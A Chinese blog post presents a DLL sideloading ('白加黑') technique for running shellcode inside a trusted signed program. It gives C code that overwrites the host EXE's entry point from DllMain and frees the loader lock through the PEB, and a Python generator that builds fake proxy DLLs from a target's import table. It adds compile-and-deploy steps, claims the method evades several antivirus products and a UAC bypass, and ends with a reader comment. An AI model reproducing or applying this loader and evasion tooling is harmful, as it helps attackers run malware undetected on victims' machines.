白加黑-IAT类型程序dllmain加载shellcode

请注意,本文编写于 557 天前,最后修改于 521 天前,其中某些信息可能已经过时。

前言

项目地址:https://github.com/9bie/iatHijackGenerate

白加黑,不必多说,然后,想舒服的用上白加黑,肯定基本都是上shellcode的。

但是,直接注入,又容易被主动防御或者各种行为规则拦截。毕竟如果直接openremoteprocess,writeprocessmemory,别说不过主防了,静态查杀估计都过不了,那么如何办呢?

基本第一个想法就是直接在本进程使用加密过后的shellcode,但是,在白加黑的时候又会出现一个问题。

直接放dllmain,boom,shellcode会爆炸,比如死锁啊,但是更主要的原因其实还是内存没有展开,直接执行shellcode会爆炸。

解决方法是新启动一个线程,直接CreateThread,shua的一下解决,但是问题又来了。

createThread之后,主程序如果退出了,你的shellcode线程也跟着退出了,然后我们白加黑的时候,大部分都是直接拆出最小单元的,基本就是运行加载了DLL就退出,压根没有shellcode的执行时间。

网络上的解决方案是寻找直接被调用的导出函数进行劫持,然而众所周知,程序逻辑千奇百怪,开局就调用DLL的少,开局调用DLL还是白名单的就更少了。于是,还是得靠着自己想想办法。

解决方案

和Loadlibrary不通,Loadlibrary方式调用的DLL,得在程序执行到那个地方的时候才会调用DLL,然而程序调用的时机千奇百怪,这样我们可选的内容就少了,虽然说可以使用特征码搜索Loadlibrary来筛选我们想要的程序,但是还是不够通用。

我们把目标换到另外一种调用方式,导入表调用。这种调用是在程序执行开头,解析PE头的时候就调用DLLMAIN,快速立竿见影,当然缺点也就是会遇到我们上面所说的shellcode在dllmain里。导致各种BOOOM。但是解决方案也很简单,既然DLLMAIN里面会boom,我们把代码放程序的main里不就行了?

过程

最开始我一直以为dll调用是会在新线程里面启动,想着子线程到底如何影响主线程,但是实际上手调试过之后才发现,IAT预载入的DLLMAIN是属于EXE的主进程的。这下不就十分简单了,直接获取入口点。修改代码,搞定

核心代码

MODULEINFO moduleInfoe;
    SIZE_T bytesWritten;

    GetModuleInformation(
        GetCurrentProcess(),         // handle to process
        GetModuleHandle(NULL),         // handle to module
        &moduleInfoe,  // information buffer
        sizeof(moduleInfoe)                 // size of buffer
    );

    char EntryAddr[MAX_PATH] = { 0 };
    _itoa_s((int)moduleInfoe.EntryPoint, EntryAddr, 10);
unsigned char shellcode[] = "";
int shellcode_size = 100;
HANDLE currentProcess = GetCurrentProcess();

    WriteProcessMemory(currentProcess, moduleInfoe.EntryPoint, (LPCVOID)&shellcode, shellcode_size, &bytesWritten);

没错,代码就这么点,直接放到dllmain里面然后坐等运行到程序就会执行你的shellcode了

进阶

虽然说代码好些,但是DLL的导出函数需要符合EXE的导入函数才能加载,不然会在PELOADER的时候爆炸,明天有空写一个模板生成器。原理很简单,就是获取正常DLL的导出表,然后我们伪造DLL生成一个跳转代码或者直接nop掉就行了。

唯一担心的就是不知道能不能找到时间摸鱼,最近在校招培训,太痛苦了,不能用电脑不能用手机一周997,比高中还痛苦。我高中初中都没经历过这些啊啊啊啊。我只想日站呜呜呜不想听这些勾八课了。

顺带提一最DLLMAIN里的死锁怎么解决

Loadlibrary调用流程如下

  • 获取加载锁RtlEnterCriticalSection(&LdrpLoaderLock);
  • 尝试加载dll: LdrpFindOrMapDll。
  • 处理导入表信息。
  • 运行回调函数LdrpRunInitializeRoutines。 ->这里实际上也就是我们的DLLMAIN
  • 释放锁RtlLeaveCriticalSection(&LdrpLoaderLock);。

来源:https://blog.csdn.net/xiangbaohui/article/details/103743201

很显然,我们只需要释放掉锁LdrpLoaderLock就行,直接调用RtlLeaveCriticalSection就能解锁。

那么LdrpLoaderLock的位置在哪呢?根据看雪老哥:(https://bbs.pediy.com/thread-185786-1.htm)所说,

 如果想在DllMain里面CreateThread创个线程,并且不让DllMain返回(白利用的节奏,怎么白利用自己玩

   吧,说出来被开...),还是会出现被LdrpLoaderLock全局锁卡主的情况。不想被卡主可以自己主动释放掉
   这把锁,锁的位置在PEB+0x0A0偏移处(+0x0a0 LoaderLock : Ptr32 Void),是在进程初始化的时候由
   全局变量LdrpLoaderLock赋给PEB+0x0A0的

所以,我们目标位置就在PEB+0x0A0,调用RtlLeaveCriticalSection干他就行。

代码

typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;
typedef struct _STRING {
    USHORT Length;
    USHORT MaximumLength;
    PCHAR  Buffer;
} ANSI_STRING, * PANSI_STRING;

typedef struct _PEB_LDR_DATA {
    ULONG                   Length;
    ULONG                   Initialized;
    PVOID                   SsHandle;
    LIST_ENTRY              InLoadOrderModuleList;
    LIST_ENTRY              InMemoryOrderModuleList;
    LIST_ENTRY              InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _CURDIR {
    UNICODE_STRING DosPath;
    PVOID Handle;
}CURDIR, * PCURDIR;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
    WORD Flags;
    WORD Length;
    ULONG TimeStamp;
    ANSI_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    PVOID ConsoleHandle;
    ULONG ConsoleFlags;
    PVOID StandardInput;
    PVOID StandardOutput;
    PVOID StandardError;
    CURDIR CurrentDirectory;
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    PVOID Environment;
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
    ULONG EnvironmentSize;
}RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB {
    BOOLEAN                 InheritedAddressSpace;
    BOOLEAN                 ReadImageFileExecOptions;
    BOOLEAN                 BeingDebugged;
    BOOLEAN                 Spare;
    HANDLE                  Mutant;
    PVOID                   ImageBase;
    PPEB_LDR_DATA           LoaderData;
    PRTL_USER_PROCESS_PARAMETERS                   ProcessParameters;
    PVOID                   SubSystemData;
    PVOID                   ProcessHeap;
    PVOID                   FastPebLock;
    PVOID                   FastPebLockRoutine;
    PVOID                   FastPebUnlockRoutine;
    ULONG                   EnvironmentUpdateCount;
    PVOID* KernelCallbackTable;
    PVOID                   EventLogSection;
    PVOID                   EventLog;
    PVOID                   FreeList;
    ULONG                   TlsExpansionCounter;
    PVOID                   TlsBitmap;
    ULONG                   TlsBitmapBits[0x2];
    PVOID                   ReadOnlySharedMemoryBase;
    PVOID                   ReadOnlySharedMemoryHeap;
    PVOID* ReadOnlyStaticServerData;
    PVOID                   AnsiCodePageData;
    PVOID                   OemCodePageData;
    PVOID                   UnicodeCaseTableData;
    ULONG                   NumberOfProcessors;
    ULONG                   NtGlobalFlag;
    BYTE                    Spare2[0x4];
    LARGE_INTEGER           CriticalSectionTimeout;
    ULONG                   HeapSegmentReserve;
    ULONG                   HeapSegmentCommit;
    ULONG                   HeapDeCommitTotalFreeThreshold;
    ULONG                   HeapDeCommitFreeBlockThreshold;
    ULONG                   NumberOfHeaps;
    ULONG                   MaximumNumberOfHeaps;
    PVOID** ProcessHeaps;
    PVOID                   GdiSharedHandleTable;
    PVOID                   ProcessStarterHelper;
    PVOID                   GdiDCAttributeList;
    PVOID                   LoaderLock;
    ULONG                   OSMajorVersion;
    ULONG                   OSMinorVersion;
    ULONG                   OSBuildNumber;
    ULONG                   OSPlatformId;
    ULONG                   ImageSubSystem;
    ULONG                   ImageSubSystemMajorVersion;
    ULONG                   ImageSubSystemMinorVersion;
    ULONG                   GdiHandleBuffer[0x22];
    ULONG                   PostProcessInitRoutine;
    ULONG                   TlsExpansionBitmap;
    BYTE                    TlsExpansionBitmapBits[0x80];
    ULONG                   SessionId;
} PEB, * PPEB;

PPEB GetPeb(VOID)
{
#if defined(_WIN64)
    return (PPEB)__readgsqword(0x60);
#elif defined(_WIN32)
    return (PPEB)__readfsdword(0x30);
#endif
}
VOID UNLOOK(VOID)
{
        PPEB Peb = GetPeb();
    hModule = GetModuleHandle("ntdll.dll");
    if (hModule == NULL)
        return FALSE;


    typedef NTSTATUS(NTAPI* RTLLEAVECRITICALSECTION)(PRTL_CRITICAL_SECTION CriticalSection);

    RTLLEAVECRITICALSECTION RtlLeaveCriticalSection = NULL;

    RtlLeaveCriticalSection = (RTLLEAVECRITICALSECTION)GetProcAddress((HMODULE)hModule, "RtlLeaveCriticalSection");
    RtlLeaveCriticalSection((PRTL_CRITICAL_SECTION)Peb->LoaderLock);
}

快速生成器

代码如下

#include:utf-8
import os, string, shutil,re,sys
import pefile
def GenerateAvailableIATHijackTamplate(module_name,target_dll,output):
    tamplate = '''
#include <windows.h>
#include <Shlwapi.h>
#include<tlhelp32.h>
#include<tchar.h>
#pragma comment( lib, "Shlwapi.lib")
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")
'''
    tamplate_end = """
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        MODULEINFO moduleInfoe;
        SIZE_T bytesWritten;
        GetModuleInformation(GetCurrentProcess(), GetModuleHandle(NULL), &moduleInfoe, sizeof(moduleInfoe));
        unsigned char shellcode[] = "";
        int shellcode_size = 800;
        HANDLE currentProcess = GetCurrentProcess();
        WriteProcessMemory(currentProcess, moduleInfoe.EntryPoint, (LPCVOID)&shellcode, shellcode_size, &bytesWritten);
    }
    else if (dwReason == DLL_PROCESS_DETACH){}
    return TRUE;
}
"""
    pe = pefile.PE(module_name)
    for importeddll in pe.DIRECTORY_ENTRY_IMPORT:
        DllName = str(importeddll.dll,encoding = "utf-8")
        if(DllName != target_dll):
            continue
        print("即将要劫持的目标为:%s,注意,请确保这个DLL不是系统DLL,如果这个DLL是系统DLL可能会无法劫持成功" % DllName)
        i = 1 
        for importedapi in importeddll.imports:
            print(importedapi.name)
            FunctionName = str(importedapi.name,encoding = "utf-8")
            print("导出函数名为:%s" % FunctionName)
            tamplate += """#pragma comment(linker, "/EXPORT:%s=%s,@%s")\n""" % (FunctionName,FunctionName,i)
            i+=1
            tamplate += """EXTERN_C __declspec(naked) void __cdecl %s(void){}\n""" % (FunctionName)
        
    tamplate += tamplate_end
    pe.close()
    print("正在生成代码....")
    print(tamplate)
    print("代码生成完成,正在保存..")
    f = open(output,"w")
    f.write(tamplate)
    f.close()
    print("代码报错完成,请确保编译后的DLL名为:%s" % DllName)
    print("或者使用GCC编译,编译命令如下\n\tgcc %s -lShlwapi -lPsapi -shared -o %s" % (output,target_dll) )
if len(sys.argv) <= 3:
    useage = """
    python iat_dll_hijack.py <你要劫持的目标exe> <报错的DLL> <代码模板保存的路径>
    模板可用vs或者gcc直接编译
    Example: python iat_dll_hijack.py uu.exe ui.dll code.c
    """
    print(useage)
    exit(0)
GenerateAvailableIATHijackTamplate(sys.argv[1],sys.argv[2],sys.argv[3])

使用方法

使用的前提,程序必须是导入表导入的,不能是loadlibrary的,loadlibrary的不能用这个脚本,可以用其他方法处理。

直接把EXE从安装文件夹复制出来,然后双击运行,假设会出现如下报错(找不到DLL的),就说明是可以劫持的

1.jpg
1.jpg

2.jpg
2.jpg

弹窗越少越好,但是不能没有,1个最好,如果有多个就得多次生成文件,我这边这个程序弹了两个。

记录下这些缺少的DLL,依次执行命令

python iat_dll_hijack.py 目标.exe libcef.dll a1.c
python iat_dll_hijack.py 目标.exe encrashrep.dll a2.c

然后修改最后一次报错dll输出的代码,修改DLLmain里面的shellcode。(重要,不然会影响程序执行流程)
然后执行gcc命令编译

gcc a1.c -lShlwapi -lPsapi -shared -o libcef.dll
gcc a2.c -lShlwapi -lPsapi -shared -o encrashrep.dll

3.jpg
3.jpg

然后把生成的dll和目标exe放在一起,双击执行即可上线

4.jpg
4.jpg

缺点

这种类型的导出DLL暂时没办法自动处理

5.jpg
5.jpg

免杀

测试了下,火绒360tianqin都能过,360开了核晶也能白加黑,然后如果这时候使用cs的反射dll加载bypassuac -> com版本,就可以过核晶bypassuac了。

意外竟然能过这么多。

补一个项目地址:https://github.com/9bie/iatHijackGenerate

添加新评论

已有 2 条评论

太刑了

给定的是encrashrep.dll,为什么结果中显示请确保编译后的是WININET.dll呢?
还有一个问题就是,py给出的这个dll代码模板,dllmain会造成死锁吗?还是死锁是有可能发生的。如果发生了,是不是应该用你的Rtl­Leave­Crit­i­cal­Sec­tion的代码去解决呢?
感觉文章并没有很多的写清楚,看的有点迷糊,麻烦下作者解答了。